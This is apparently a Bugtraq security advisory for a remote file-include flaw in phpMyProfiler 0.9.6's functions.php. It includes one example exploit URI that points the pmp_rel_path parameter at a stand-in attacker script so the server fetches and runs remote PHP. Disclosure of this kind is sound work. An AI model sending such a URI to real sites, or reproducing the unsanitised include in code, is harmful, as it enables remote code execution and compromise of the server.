PHPMyProfiler Functions.PHP Remote File Include Vulnerability

Bugtraq ID:	20324
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 03 2006 12:00AM
Updated:	Oct 03 2006 09:45PM
Credit:	[email protected] is credited with the discovery of this vulnerability.
Vulnerable:	phpMyProfiler phpMyProfiler 0.9.6
Not Vulnerable:

PHPMyProfiler Functions.PHP Remote File Include Vulnerability

phpMyProfiler is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

phpMyProfiler version 0.9.6 is vulnerable; other versions may also be affected.

PHPMyProfiler Functions.PHP Remote File Include Vulnerability

Attackers can exploit this issue via a web client.

An example URI has been provided:

http://www.example.com/[path]/functions.php?pmp_rel_path=http://[Evil_script]

PHPMyProfiler Functions.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

PHPMyProfiler Functions.PHP Remote File Include Vulnerability

References:

• phpMyProfiler Web Site (phpMyProfiler)